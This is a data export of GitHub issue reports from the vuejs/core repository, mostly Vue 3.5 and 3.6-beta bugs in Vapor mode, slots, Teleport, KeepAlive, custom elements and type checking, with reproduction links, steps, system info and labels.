https://play.vuejs.org/#eNqdUk1P3DAQ/SuuLwsSJJWoOGzDqh/i0B7aquzREsrHbDA4tmVPwqLV/ndmnGRBCDhwSTzz3ozfjN9Ofvc+G3qQS1nEOmiPIgL2Xgyld2GlrO7oj2InAmzEXmyC68SCChYH6Kfr/JTPcg64H8HK1s5G6nfj7sUF1x9h6OF4ztfOuDABiwDNgpAiH0XQxRQgdN6UCBQJUVQ9orPiW210fXeh5NT3E/+VXK1d2xoo8pGWGlAR60nldF6DgaQYHZVXrnmgshEjtNGDGE71ZupMEGWKnD5PnOhLSyQwEVZ8Jrn0nfvn8wWj3rSLpIPnejZLSkR8MBzwtTvmp3UsqXulbXOUouOvyu7TUiayPJEYaXsb3Wa30Vl6tVSrZE13aQPhr0dN21VyOXZlrDTG3f9OOX6Akzlf30B990r+Nm45p+S/ABHCAEoeMCxDCzjCl1d/YEvnA9i5pjfEfgf8D9GZnjWOtB+9bUj2M15S+ytZS9t2HS+3CDbOQ7FQZu4TX0myGq/5rdGf5J5lX1IdbZS2ONv0I7Z/xb2VIYTs+76Bo3Eocjq/cMOHvXA9QODN0BRn2Xn2+bQCLLNzuX8E+BlKxA==

### Steps to reproduce

Click the button twice

### What is expected?

Display in red font

### What is actually happening?

Display default color

### System Info

```shell
System:
    OS: Windows 11 10.0.26100
    CPU: (16) x64 Intel(R) Core(TM) Ultra 7 255H
    Memory: 15.06 GB / 31.43 GB
  Binaries:
    Node: 22.18.0 - D:\Document\nodejs\node.EXE
    npm: 10.9.3 - D:\Document\nodejs\npm.CMD
    pnpm: 10.28.2 - D:\Document\nodejs\pnpm.CMD
  Browsers:
    Chrome: 144.0.7559.133
    Edge: Chromium (140.0.3485.54)
```

### Any additional comments?

It seems that there are issues with the following two areas
> https://github.com/vuejs/core/blob/3badf505cab395d2641b33b91cb50f26d61fac6c/packages/runtime-vapor/src/components/Teleport.ts#L126-L128

> https://github.com/vuejs/core/blob/3badf505cab395d264... [TRUNCATED]",":lady_beetle:  bug,scope: vapor",2026-02-25T03:24:51Z,2026-02-26T01:44:53Z,1
vuejs/core,3977427358,[Vapor] Type error when using type-based declaration for a prop passed from `createVaporApp`,"### Vue version

3.6.0-beta.6

### Link to minimal reproduction

https://github.com/paul-rouse/vue-beta-issue.git

### Steps to reproduce

```
git clone https://github.com/paul-rouse/vue-beta-issue.git
cd vue-beta-issue
npm install
npm run type-check
```

### What is expected?

Clean type check

### What is actually happening?

Error from TypeScript:

```
src/main.ts:4:16 - error TS2345: Argument of type '(__VLS_props: VNodeProps & AllowedComponentProps & ComponentCustomProps & { config: string; } & Record<string, unknown>, __VLS_ctx?: { ...; } | undefined, __VLS_exposed?: ((exposed: {}) => void) | undefined, __VLS_setup?: Promise<...>) => VNode<...> & { __ctx?: Awaited<typeof __VLS_setup>; }' is not assignable to parameter of type 'VaporComponent'.
  Type '(__VLS_props: VNodeProps & AllowedComponentProps & ComponentCustomProps & { config: string; } & Record<string, unknown>, __VLS_ctx?: { ...; } | undefined, __VLS_exposed?: ((exposed: {}) => void) | undefined, __VLS_setup?: Promise<...>) => VNode<...> & { __ctx?: Awaited<typeof __VLS_setup>; }' is not assignable to type 'FunctionalVaporComponent<{}, {}, StaticSlots, Record<string, any>>'.
    Type '(__VLS_props: VNodeProps & AllowedComponentProps & ComponentCustomProps & { config: string; } & Record<string, unknown>, __VLS_ctx?: { ...; } | undefined, __VLS_exposed?: ((exposed: {}) => void) | undefined, __VLS_setup?: Promise<...>) => VNode<...> & { __ctx?: Awaited<typeof __VLS_setup>; }' is not assignable to type '(props: Rea... [TRUNCATED]","scope: types,scope: vapor",2026-02-23T10:27:14Z,2026-02-25T01:07:11Z,1
vuejs/core,3940895674,Empty forwarded slot is rendered,"### Vue version

3.4.13

### Link to minimal reproduction

https://play.vuejs.org/#eNqlUk1P4zAQ/Ssja4800S67EuoWJEAcQOJDgMTFEjLxtBgc27KdEIT63xk7bSi0wIGbPW8+3ps3L2zfuaJtkI3ZJGLttIi4xw3ApBbK5Fd6o2lGivDRkxfOoQct7lDvcnZmobpXWno0nEH5fcHhkL0HV9pGmJRryT2BcsFgUq4Qo2+ovHIRAsbGUVszo64xUD9uVO2sj3BKDY+p6GYxe+ptDZwV5QcgCefsfxrRN6UWbIuaVdZM1ax4CNbQYl4SHc4qWzul0Z+7qKyhgWPISMKE1vbpJMeib3BrGa/usXrcEH8IXYpxduExoG+JxoBF4WcYe/jo6gw7eg9gbWWjKfsL8BKD1U3i2KcdNEYS7ZW8zPY470qZ2XU46iKasBSViKbMec7njJZ0+IX0N7rbxd9cx82ctrhh1xuObGn98nBCOon+jFYO40dXsG7/J76vwutUpWqh0iIEGjQQy/MycQftSE0J+5UkhELiVDSa9jIUpfiQ/15qEusWomnOJrnxWSPQYTqUFClycfbgznqJfgy/XQdkvJLgUZI2ACekJH/HsOM6CpAvpDf16eXetuiT6SR1u/hX/Nlh81ftnVv6

### Steps to reproduce

Have a component (`MenuItemWrapper`, in the minimal reproduction) that forwards a slot to another component (`MenuItem`). If the latter component checks whether the slot is defined (with `v-if=""$slots.default""`, for example), this check will always return `true`, even if no slot is provided when using `MenuItemWrapper`.

### What is expected?

When a component forwards a slot, but no slot is provided, `$slots.default` (or whatever the slot name is) should be empty.

### What is actually happening?

When a component forwards a slot, but no slot is provided, `$slots.default` (or whatever the slot name is) is not empty.

### System Info

```shell
System:
    OS: Linux 6.17 Ubuntu 24.04.3 LTS 24.04.3 LTS (Noble Numbat)
    CPU: (16) x64 11th Gen Intel(R) Core(TM) i7-11800H @ 2.30GHz
    M... [TRUNCATED]",,2026-02-14T09:18:04Z,2026-02-22T02:42:55Z,2
vuejs/core,3932202760,Regression: recent vue app using vue custom elements build with <3.5.25,"### Vue version

>3.5.25

### Link to minimal reproduction

https://github.com/vuejs/core/pull/13478

### Steps to reproduce

- create a customElement using vue 3.5.24 (not exposing `_beginPatch` & `_endPatch`.
- use the compiled component within a recent version of vue eg. 3.5.27

### What is expected?

This shouldn't break the behaviour of the ""old"" vue customElement.

### What is actually happening?

The recent renderer of vue think that the customElement is based on the same version of vue and try to call some optimized inexsitant methods on it.

### Any additional comments?

I believe that adding a safe fallback (optional chaining or check if methods exists), should be simple enough to fix the bug.

```js
if (customElement._beginPatch) {
    customElement._beginPatch()
}

// or

if (customElement) {
    customElement?._beginPatch()
}
```",,2026-02-12T14:34:38Z,2026-02-16T06:11:24Z,3
vuejs/core,3931964709,TS 5.9 LibCheck error,"### Vue version

3.6.0-beta.5

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-cofjjwcc?file=README.md&view=editor

### Steps to reproduce

Typescript 5.9 with`skibLibCheck: false` and a vue file. Then call `vue-tsc`




### What is expected?

No typescript errors.

### What is actually happening?

`error TS2578: Unused '@ts-expect-error' directive.`

### System Info

```shell

```

### Any additional comments?

_No response_",scope: types,2026-02-12T13:44:00Z,2026-02-24T05:38:24Z,2
vuejs/core,3928039448,"Vue-Warning for ""Extraneous non-properties..."" since last update (3.5.28)","### Vue version

3.5.28

### What is actually happening?

Hi there,
since the last update from 3.5.27 to 3.5.28 i get a warning in the browser-console:
```
[Vue warn]: Extraneous non-props attributes (style) were passed to component but could not be automatically inherited because component renders fragment or text or teleport root nodes. 
  at <VueElement props= 
Object { mouse: {…}, hasParent: false, matched: undefined }
​hasParent: false
​matched: undefined
​mouse: Object { x: 0, y: 0 }
​<prototype>: Object { … }
style=""z-index: 999999; position: fixed;"" >
```
<img width=""533"" height=""224"" alt=""Image"" src=""https://github.com/user-attachments/assets/955c6277-4e71-47c5-befd-9fb567448866"" />

But i have no component used with the indicated styles...",,2026-02-11T18:33:00Z,2026-02-12T06:36:30Z,4
vuejs/core,3917519840,Should $el function for templateRef work in Vapor,"### Vue version

3.6.0-beta.5

### Link to minimal reproduction

https://play.vuejs.org/#eNqFUttu1DAQ/RVjISUrbR1QgYeSXQSoEiAVUKnEiyUUktnUxbEtX8JKUf69Y2ez3a56eUk8c87YZ2bOQD8aw/oA9IyWrrbCeOLAB0P6ymi75kp0+PdkIBY2SxIcXEFnZOXhMsZaXeigPDRkJBurO5LhXdm+6rPuzJTnlBUxim9xyhVXtVbOk861ZBXvzrMvIKUmv7WVzYtsMROEMsEj5f7LeZbykcbVXkSeL8hqTQauCNlVY2Visr6SAd7PiJbApG5z8YG9BLnA/Bg/ZTHNAPvGwO/ew4iQ8vr1ehiS3nEsC4xSdpLXn3S6AbniFHFOSTGBqf1jDHvFc6rjdF2mqSC9LA6eo0vqHerciJbdOK1wO6kpTmtkCwn2h/EC++D0bGo3YhXO7/+3lPM2wHLO19dQ/3sgf+O2McfpTwsObI+L2WO+si2gwAif//oOWzzvQWwoSGQ/AV4CzjhEjRPtU1ANyj7gJbVfk0+Eaq/c+daDcnNTUWhkjonPKdomDuqx1u/knrI3qQ43ilOcLfe8vRvYCAUXcVVHXt4ZNSGrQ17+nGUa0afDQz6Jf053Rikm5rEH/vRg40RQ/Sl7x16d/AVfsbd0vAW76z8z

### Steps to reproduce

The console.log show undefined when the code run.
I cannot se anywhere that it not should be possible,

### What is expected?

That it should be possible to use $el

### What is actually happening?

Return undefined

### System Info

```shell

```

### Any additional comments?

_No response_",,2026-02-09T18:05:15Z,2026-02-10T01:26:33Z,1
vuejs/core,3914185109,Watch deep inconsistency between 3.5 and 3.6,"### Version
3.6.0-beta.5

### Reproduction link
[play.vuejs.org/](https://play.vuejs.org/#eNp9klFPwjAUhf/KTV8GyRwy1AcySNTwoA9q1McmZo7LGG5t03aDZNl/97ZkMBPD23rO19tz2rXsXqmoqZHNWWIyXSgLBm2tllwUlZLaQgsaNyHsU5ttoYONlhUEtCPggotMCmOhMjksHDYKpsF4oMa9HDuZCz9kREYIo2YMiyW0XIAnoyYtayS+4aIL6dQ1opqD1SR2Y+CCoBMTzOj0P8KUhGRybEDZaWGxUmVqkVYAyXa6JH4ObevTdl0yIWlgxb0Xn81kMhjCQmYNNdsUebQzUtCN+fCcZbJSRYn6VdmCmnNGo5zjvLQs5f7Za65K2OvZFrOff/SdOTiNszeNBnWDnJ08m+oc7dFefbzggb5PZiXXdUn0BfMdjSxrl/GIPdRiTbEHnE/75N+9EPmnWR0sCtOXckEd2XmeM/oJHi9UP8edRTd+H70s3eJXg9rNpAucRXfR9dU32jS6Zd0vZ6DT3A==)







### Steps to reproduce
1. Open the reproduction
2. Check msg and msg2 in the preview tab

### What is expected?
`msg` and `msg2` stay in sync

### What is actually happening?
`msg` and `msg2` go out of sync

---
Setting a deeply watched ref to a different value, then setting the ref back to the previous value skips the watch trigger in v3.6. This works differently [compared to v3.5 behavior ](https://play.vuejs.org/#eNp9klFLwzAUhf/KJS/doHSsU4RRByp70AcV9TEgpbvrOtskJGk3KPnv3mR0qyB7a875cnNO0p49KJV0LbIly0yhK2XBoG3ViouqUVJb6EHjNoZDbosdONhq2UBEOyIuuCikMBYaU8K9xybRPJqO1HSQUy9zEYZMyIhh0k3hfgU9FxDIpMvrFonvuHAxnbpBVEuwmkQ3BS4IOjPRgk7/I8xJyGanBpSdFhYbVecWaQWQ7eYr4pfQ9yGtc9mMpJGVDl56MbPZaAiLmTXUbFuVyd5IQTcWwnNWyEZVNeo3ZStqzhmN8o738rqWh5eg+SrxoBc7LH7+0ffm6DXO3jUa1B1ydvZsrku0J3v9+YpH+j6bjdy0NdFXzA80sm59xhP22IoNxR5xIe1zePdKlF9mfbQozFDKB/WkCzxn9BM8Xal+ibtIbsI+elm6xe8OtZ9JF7hIbpP0jrlfdDrR6A==) where the watch is triggered.

The ... [TRUNCATED]",scope: reactivity,2026-02-09T02:53:29Z,2026-02-09T06:21:25Z,1
vuejs/core,3906216230,Conditionally rendered slots are ending up last in the `$slots` object,"### Vue version

v3.6.0-beta.5

### Link to minimal reproduction

https://play.vuejs.org/#eNp9U8Fu2zAM/RVOG5AEaO2h3XbonGBr0QHdYR26HQWsjkOnSmzJkGQ3q+F/L2VHiWOkuVHke08U+VSz70URVCWyKxaZRIvCgkFbFjMuRV4obaEGjSk0kGqVw4igo13pRuXFNh+E7uCURl+55DJR0pDUk3q+jjVMncbY6hInVI3C7ia6gw4W8yKLLdIJIFqIqg0onJfWKgnfkkwk6ylne7F325Cz2QPKBWp4nMf6EUymbBR2vE4u9HqRa88r+yvhPdGgOhfpXp40KRmFB20NORee5J7UMS5OUVKlZj+UOq36QjIvA0jUjpXCgzw7Y9bQhFOxDFZGSVpe7dCcJYQWGer7wgraAGdX0FZcLc4y9fyzzbm2z3w+ecJkfSS/MhuX4+y3RoO6oofuajbWS7Rd+fbPL9xQvCvmalFmhD5RfECjstL12MGuS7mgtnu4ttu71mdCLv+a241Fafyj2rkTsmnxnJHv3KDeevq+3cvgU8vjsqEpes8O3Q9ZLJduvSTT/wkkclNqjdLekb1jmeDBx+g5X/j69AhpPDn9CYpZXcP9fIWJDdb434w/OGebCTQN+DgKOzsfAQd99PbwNtx32mcNch15aMF/FWq3EBreZfAl+Hg+RxsHn1nzCmENddI=

### Steps to reproduce

Slots accessed via `$slots` normally preserve their order from the template:

```vue
<script setup>
import Comp from './Comp.vue';
</script>

<template>
  <Comp>
    <template #foo>foo</template>
    <template #bar>bar</template>
  </Comp>
</template>

<!-- Comp.vue -->
<template>
  <div>{{ Object.keys($slots) }}</div>
</template>
```

Rendered as:

```
[ ""foo"", ""bar"" ]
```

... unless they have `v-if` directive, even if with a constant condition. Such slots are always ending up last, and placed in the order they're rendered:

```vue
<script setup>
import Comp from './Comp.vue';
</script>

<template>
  <Comp>
    <template #foo>foo</template>
    <template #baz v-if=""true"">baz</template>
    <template #bar>bar</template>
  </Comp>
</t... [TRUNCATED]","has workaround,🔩 p2-edge-case",2026-02-06T11:07:06Z,2026-02-09T00:45:48Z,4
vuejs/core,3900336118,make rigid  `keep-alive` more flexiable,"### Vue version

ALL

### Link to minimal reproduction

...

### Steps to reproduce

use the `keep-alive` to cache and we can **remove the cached whenever we need** without using the obstacle: `include/exclude`

### What is expected?

remove the cached in keep-alive through a much more flexiable way

### What is actually happening?

only obstacle: include/exclude 

### System Info

```shell

```

### Any additional comments?

_No response_",,2026-02-05T08:31:42Z,2026-02-05T09:37:07Z,0
vuejs/core,3897060004,`customElement._endPatch() is not a function Error` since 3.5.23,"### Vue version

3.5.27

### Link to minimal reproduction

https://github.com/lutdev/vue-custom-component-bug

### Steps to reproduce

1. Create a custom component with Vue < 3.5.23
2. Include your custom component via web component bundle to your application what is working with Vue > 3.5.23

### What is expected?

No error in console

### What is actually happening?

`customElement._endPatch() is not a function Error` 

### System Info

```shell

```

### Any additional comments?

In my opinion, the fix of the original bug is BC and shouldn't be done in patch release.
Bug - https://github.com/vuejs/core/issues/12619
Commit - https://github.com/vuejs/core/commit/c13e674fb9f92ab9339d28a862d18de460faf56e#diff-a76582b8bbc7775f5a45fe4518abb808080429939a0102d3e768dfa17be6f172R203",,2026-02-04T15:19:06Z,2026-02-05T00:26:33Z,2
vuejs/core,3896345970,Teleport bug on conditional rendering,"### Vue version

3.5.27

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-hyda13bq?file=src%2FAboutView.vue

### Steps to reproduce

* Open reproduction link
* Click on ""Go to About""
* Observe console for error

### What is expected?

There is no error for `nextSibling` traversal on conditional rendering inside teleport component. If conditional or `v-for` loop is removed, there is no error.

### What is actually happening?

Page is unresponsive due to node traversal not being done properly

<img width=""747"" height=""189"" alt=""Image"" src=""https://github.com/user-attachments/assets/b8024a85-4146-40d0-9642-1665c9d365b8"" />

### System Info

```shell
System:
    OS: Linux 5.0 undefined
    CPU: (8) x64 Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz
    Memory: 0 Bytes / 0 Bytes
    Shell: 1.0 - /bin/jsh
  Binaries:
    Node: 20.19.1 - /usr/local/bin/node
    Yarn: 1.22.19 - /usr/local/bin/yarn
    npm: 10.8.2 - /usr/local/bin/npm
    pnpm: 8.15.6 - /usr/local/bin/pnpm
  npmPackages:
    vue: ^3.5.27 => 3.5.27
```

### Any additional comments?

I’ve already mentioned this issue in [related PR](https://github.com/vuejs/core/pull/13772#issuecomment-3840854802), but now I’ve managed to create minimal reproduction. Worth to mention this happens with SSR rendering mode.

There is also another issue but I don’t know if it’s related to this one.

If you remove every DOM node and leave only text node, then go to one link then another, you also get unrelated error. Shoul... [TRUNCATED]","scope: teleport,:hammer: p3-minor-bug",2026-02-04T12:38:36Z,2026-02-09T07:53:27Z,2
vuejs/core,3889396256,[VaporKeepAlive]: components of the same type cannot be switched,"### Vue version

3.6.0-beta.5

### Link to minimal reproduction

https://play.vuejs.org/#eNp9UsFu1DAQ/ZXBl22lNgEVOFTZFQX1AEiAgKMllGZng1vHtuxJulKUf+/YbtLVqu0pmfdmxm/ezCiunCuGHsWlqELjlSMISL2DoXbWb6RRHX8JRvC4gwl23naw4oLVQn2xnXv3SBRlimJHTpCmsSYQ4FYRrGOHE/I9ns54F9pHeLVaQLJtq5Hxk1NYb2CUBlKDYqh1H/E3T5E0U3ylKrN0lssBYed0TcgRQHXTE1kDnxqtmru1FLm9FJv8U5U5ISd/R3RXWg25loE823Cudlwa3+XCTDGpjOuJyc5uUTPP40gB5VybrTjuhDrM3QHGMXkw8RTHJVV5KKYqD6YSZ4ICm7VTbXEbrOHdJZekaLhcafQ/HSk2U4rL7F/kaq3t/beExSWczXjzH5u7Z/DbsI+YFL88BvQDe7ZwVPsW2YtIX//5gXv+X0i2o48Ov0L+xmB1HzXmtM+92bLsg7yk9ms6MGXav+F6T2jCPFQUGjOnlC8Fn1t07qXRn+ReFO9THR8Ou7jc6gvX/8pdQRW0pbTs4938G9BHpdz0ovhYvD2/QaqLD2J6ALgmH4Q=

### Steps to reproduce

1. input text
2. click button

### What is expected?

switch component

### What is actually happening?

Unable to switch

### System Info

```shell
System:
    OS: Windows 11 10.0.26100
    CPU: (16) x64 Intel(R) Core(TM) Ultra 7 255H
    Memory: 16.59 GB / 31.43 GB
  Binaries:
    Node: 22.18.0 - D:\Document\nodejs\node.EXE
    npm: 10.9.3 - D:\Document\nodejs\npm.CMD
    pnpm: 10.28.2 - D:\Document\nodejs\pnpm.CMD
  Browsers:
    Chrome: 144.0.7559.110
    Edge: Chromium (140.0.3485.54)
```

### Any additional comments?

The inspection found the following issues.

1. Block saved here.
> https://github.com/vuejs/core/blob/cd00cb814561c8ba7f124eeea932752dcfdf9120/packages/runtime-vapor/src/components/KeepAlive.ts#L143

2. Because the key is the same, getCachedComponent retrieves the previously saved b... [TRUNCATED]","scope: keep-alive,:exclamation: p4-important,scope: vapor",2026-02-03T06:19:08Z,2026-02-04T07:47:39Z,1
vuejs/core,3887322130,`withDefault` regression since 3.5.15,"### Vue version

3.5.27

### Link to minimal reproduction

https://play.vuejs.org/#eNp9U99v2jAQ/ldufmmQUFDX7oWFdN3aSZu0taK8YTSZ5IC0jhPZDgVB/vedbULpfvQhSnL33fm7+z7v2HVdx+sG2ZAlJtNFbcGgbeqUq6KsK21hB2YlpKyex7iAFha6KuGMKs6OiC9VWYc4Z/HA/bmOnHHFVVYpYyEXVsDopFHUqBwXhcK851CLRmW2qBQhqucbAkc92HEFvjBeC9kglU/P+/C+DxczrlpXlQwCY+JKPxbLWgqL9AeQzBtrqd+nTBbZ04izrjFn6QN9+sbJIKB8ha/ykww92wFFk8FJU9Zn1tA4i2IZP5pK0cY8Rc4yqiok6rvazWA4GwbyLucH/u5jVjfY7+LZCrOnf8QfzcbFOLvXaFCvaY3HnBV6iTakbx9+4oa+j8myyhtJ6DeSYzSVbBzHAPtMIhDtE5xn+82rWqjlxNxuLCrTDeWIOmTr8ZyRyG5h/xv9he5FfOnrSDfaYmeQPy0HUqglSWWpjZfkaEC34MZi3tnPHx38BWC3NcJXtNkqmaTkErLOKIXJdPYx5IMDa13VhrLPhV3d4EI00pooMA1GvHeAZOeNcTWEH2I7d7GyMJioppyjns5S2B9OCpEU2jTqHbYXSoeH86czaHuvGFiShAh0s0QBd9hWgIQWNOUo8KV6l9S0Ha3g3bXWYhsXxr8jB6XL4wAAV0718fhuPAwtyO6NzGGOIBQIh3frCtgAiR+rQkWkPVX2YL+n15TMbrczzvy5LTV/64blxdp/0OS7MFxLAlNiEDJ/XR7SycTWkOwHYTsZNXWnJ8dMCo2wlNVcSNoMxQ7yvlLDqzwhKV4CDuqs9WuN2tmVzriIP8Tnl6z9DRcCndo=

### Steps to reproduce

> [!NOTE]
> I'm a little confused with the version that introduced the regression. 
> In Playground (see repro link) the behavior is broken since 3.5.15.
> In my own project, it looks like 3.5.18 is the last working version... not sure why, maybe it depends on the `vite-plugin` version as well, or something being more complex in my code than in the repro.

The situation is this: we have a component property that has an array default value, provided like this:
```ts
withDefaults(
  defineProps<{ data }>(),
  { data: () => [] }
)
```
T... [TRUNCATED]",,2026-02-02T18:20:11Z,2026-02-27T06:17:18Z,3
vuejs/core,3886653495,Why are component styles polluted?,"### Vue version

3.5.27

### Link to minimal reproduction

https://play.vuejs.org/#eNqFUrFOwzAQ/RXLS5cqGWAKoRKgDjAAAoYOXiznUlwc27KdUlTl3zk7uI0EpZvv3rvzu3u3pzfWFtseaEVrL5y0gXgIvV0wLTtrXCB3prOkdaYjs6KMQaTPrpiuy7EAqRgE6KziATAipG7klgjFvb9mlCvuOkYTMEI/Twxiv0Wd2ma8zIT8qstJbzqnwQujW7kuNt5o1L2PZEYF9pAK3JMN0mjPaEUSEjGulPl8SLngepjnvHgH8fFHfuN3McfoswMPbguMHrDA3RrCCC9fH2GH7wPYmaZXyP4HfAFvVB81jrTbXjcoe8JLau/T9qVev/nlLoD2eagoNDKHxGcU3YjrOzX6Ue5FcZnqmB5wi9nJX8afs7XKvu6TsRVpufIwnDB4eghStwZpq9XqaPJZwzH04UsBQdctNJgp0r/jhEXsmYcVRhlXEQcNXuc4aLrSWB5PZ/gGFWD1pg==

### Steps to reproduce

The styles of the Comp.vue component should be isolated, but they are being polluted by ancestor class.

### What is expected?

The styles of the Comp.vue component should be isolated

### What is actually happening?

~~It works properly in Vue version <= 3.5.3.~~

### System Info

```shell

```

### Any additional comments?

_No response_",,2026-02-02T15:46:57Z,2026-02-06T00:29:24Z,4
vuejs/core,3886045029,[VAPOR] Issue with slot rendering/scoped slot props,"### Vue version

3.6.0-beta.5

### Link to minimal reproduction

https://play.vuejs.org/#eNrtPYtyG8eRvzKmLyF11oIEKJISTg9LslznK/lRkSqplKmS8ViQay12EeyClKLw36+75/3E4mEnV7nIIbmzMz09PT39mgb688HzxaJ3s8oPhgePm8myWLSsydvVgt2MFvXy6WVVzOF3yz6zZT67zyb1fLFq8+kdmy3rOTuEkYeqz0+jpsmrq3zZPJ+uyrZ5Xk1fXhfldJlXonvvONEH0Tj8rwC0v9ar9joAgdrlKPw3qaumZQvVgT1BrI8+w7v2sh3RhEPWv8+fJzjvkIm38FyvqnbITsRrGHCVQ/ef3/HnO9H+CWf1h0moali1Kktn6GjSFjf5n4v8dsgOp/lsBAgdincFX87bYvIhb19Vo3GZA3LtcpVfVnf3YIG4uLrMe2V9daSXeC+07rf5xxbWLjfr6Ogee/KUY1zMmDG6dzMqV3lP48WePHmiUbsnV8kn4AQEwC6AZz3+CrdB9Sby4taH+tNL+IW0s0ZxQGIBYsKnrM+esfLokLMMoDVUT4dIGn9SSQGJgwIhmU0CoWcHCJ/2TbssqisTixMA8ct/fObPd+xxMx+V5VPZgFPePT7mjb8A9ENiSw81BddATkCWLQZsc0Fh6Es4rstKI8bh3zE9VrT8QgPuWF42OevEB8TqLhdQY3BT6U1oU+mF2BI+XO0HPaotFRP6gxXR5HBBMXo0yKVmWkcrA6okDP4QHWgAnTp5uIrmORzr74umEZu369lif/zjmnOBq1S0F4hFRvRQ5vSKalKupnlzhKKHE5EWtcFeh7EyN7YbVjQijZUYOxsBO2pqz1YVIFZXqIWeaxSPbuCnmDa5FIYdEZwFbFLWwPOwVQTAlKSH9OoQxKg9ojxq2iX1Z6BDCFNooF7AWaQoQTnCQ5vPF+WozeGJscfT4gZ/M5gRsHxyeTAav8lHy8n1i/rj+/eGZoq0Z1lzXd8iq10ecEDtaFxU0/wjwDqRbUMJndDD/x2ug3c4NHbJ5zMO505NMFoWo6wcjfMSZoGDic+v8bHpTVZNW8+Lv+daEQP5xMAl0BVGjFdtW1e8kQgDpGkWI9yIAFlonsuDp58/owwwwbI7PMcw8Onj8fLp42P4sRYa8YRNX2oCUqBAuDxgN9l1O8eF2RoT3hxL8GofIzs5z6uVXLNatd1IJLwuptO8gnekyMU7MQmfxoCvVw7EkH2gV8Jm0r0YLKuYWYuKyh6NJB83r6d5OdQDLSh2568n1yNoRpjQyzqkSnybIyRFnYWQrZNGPmQQOeIpLMN+q9Upqyi6vth2vn8/WizKT9auQndxSowmk9u84S/aCtha/cyycVlPPuiHVf6X66LNUWJkYj4btsGm0G/uvh5Oi4aoDH0sded2NERS1ndffj0pYcfgFQlW+621fHGIxam/KuvxqOw1YPyX+U/Xy1EDqoN... [TRUNCATED]",,2026-02-02T13:51:08Z,2026-02-04T08:08:04Z,2
vuejs/core,3885612752,Developer Tools Integration: Free Online JSON Formatter for Vue Developers,"Hi Vue team,

I'm developing a free online developer tools platform called [AngriL DevTools](https://www.angril.com:8000) that provides essential tools for Vue developers:

- **JSON Formatter/Minifier**: Perfect for formatting API responses and state data in Vue applications
- **Base64 Encoder/Decoder**: Useful for handling image data and encoded strings in Vue components
- **Timestamp Converter**: Helpful for working with date/time data in Vue apps
- **YAML ↔ JSON Converter**: Great for converting between configuration formats
- **API Testing Tool**: Built-in tool for testing REST APIs used by Vue applications

Since many Vue developers work with JSON data, APIs, and configuration files daily, these tools could be valuable additions to the developer ecosystem.

The platform is completely free, open to all developers, and designed with modern web development workflows in mind.

I'd love to get feedback from the Vue community on what additional tools would be most useful, or explore any potential collaboration opportunities.

Thanks for your amazing work on Vue!

Best regards,
AngriL DevTools Team",,2026-02-02T12:14:52Z,2026-02-02T12:26:04Z,0
vuejs/core,3884371172,[Vapor]: A compilation error occurs when an element cannot be used as a direct child,"### Vue version

3.6.0-beta.5

### Link to minimal reproduction

https://play.vuejs.org/#eNp9UcFOwzAM/ZUol4I0WqQBh6lMArQDHAABx0ioa72SkSZRkpZJVf8dO93KDmiX5Nnv2X5Oen5nbdq1wBc896WTNjAPobWsK6xxS6Flg3dgPXOwmbGBbZxpWIIVidCl0T6wxtfsluizBGFyLrTQeTY2wwYYBGisKgJgxFgeirUaIQU0gxDhatn3sd0w5BlGe022FyGYSvNKdss8o5OmHU3gMx48OtvIOt16o3GznioEL01jpQL3YoNE54IvWGSIK5QyP08xF1wLs0O+/ILy+5/81u8oJ/irAw+uA8EnLhSuhjDSq/dn2CGeyMZUrUL1CfINvFEteRxl962u0PaRLrp9jD8jdf3hV7sA2h+WIqOkHKJecPyshxOr/9mdp1exTugBX/GzA0c98QHn6U16ebGGUKTXfPgFRpu3Sw==

### Steps to reproduce

opening the link prompts an error.

### What is expected?

correctly render {{ msg }}!

### What is actually happening?

Console prompt error： Cannot read properties of null (reading 'firstChild')

### System Info

```shell
System:
    OS: Windows 11 10.0.26100
    CPU: (16) x64 Intel(R) Core(TM) Ultra 7 255H
    Memory: 16.59 GB / 31.43 GB
  Binaries:
    Node: 22.18.0 - D:\Document\nodejs\node.EXE
    npm: 10.9.3 - D:\Document\nodejs\npm.CMD
    pnpm: 10.28.2 - D:\Document\nodejs\pnpm.CMD
  Browsers:
    Chrome: 144.0.7559.110
    Edge: Chromium (140.0.3485.54)
```

### Any additional comments?

After investigation, it was found that the problem occurred here
Please guide me on how to make the modifications. I am more than happy to provide Pr.


> https://github.com/vuejs/core/blob/301944831babdc1eff121319e5f49c3c39fb3b85/packages/compiler-vapor/src/transforms/transformElement.ts#L393-L404",":hammer: p3-minor-bug,scope: vapor",2026-02-02T07:14:12Z,2026-02-03T01:24:25Z,4
vuejs/core,3880321270,[Vapor] ⁨:style={...}⁩ attributes on SVG elements render as ⁨[object Object]⁩,"### Vue version

v3.6.0-beta.5

### Link to minimal reproduction

https://play.vuejs.org/#eNqNUj1PwzAQ/SuRly4lLSowhFIJqg4wAAJGS8hNjsStYxv7kgZV+e+ck34NqGK7vI+756ds2b21cV0BS9gUobRKIMy4jqJpKaTuJpozWUeJxx8Fd5xtlyJd585UOpsbZVwSDcR3JQYtZ7PpiKR7l6/z/7pI2l8d7c5ORydp6NOnTlqMPGBlo1pY44KrA3eCcIfGEHUbVm1khkUSXY7HtrkNQAEyL/CItOFKb2NDhj41+kvm8cobTW10OzhLTWmlAvdiURrtOUv67YETSpnNU4ehq2C4x9MC0vUf+Mo3AePs1YEHVwNnBw6FywF7evH+DA3NB7I0WaVIfYZ8A29UFTL2sgfqmWKf6Lq0jyU1h1LnH37RIGi/f1QIGpRtp+eMfon5macf407iq85HfVKLnzW4sJMKnMQ38fhiCSjia9b+AmIly14=

### Steps to reproduce

See output HTML of playground link

### What is expected?

In non-vapor mode, the style is correctly interpolated as `<svg style=""background-color: aqua;""></svg>`

### What is actually happening?

In vapor mode, the compiled SVG shows as `<svg style=""[object Object]""></svg>`

### System Info

```shell
System:
    OS: Windows 11 10.0.26200
    CPU: (24) x64 13th Gen Intel(R) Core(TM) i7-13700KF
    Memory: 21.21 GB / 31.87 GB
  Binaries:
    Node: 25.4.0 - C:\Program Files\nodejs\node.EXE
    npm: 11.7.0 - C:\Program Files\nodejs\npm.CMD
  Browsers:
    Chrome: 144.0.7559.110
    Edge: Chromium (140.0.3485.54)
    Firefox: 147.0 - C:\Program Files\Mozilla Firefox\firefox.exe
  npmPackages:
    vue: ^3.6.0-beta.5 => 3.6.0-beta.5
```

### Any additional comments?

_No response_",,2026-01-31T22:55:25Z,2026-02-02T01:49:50Z,1
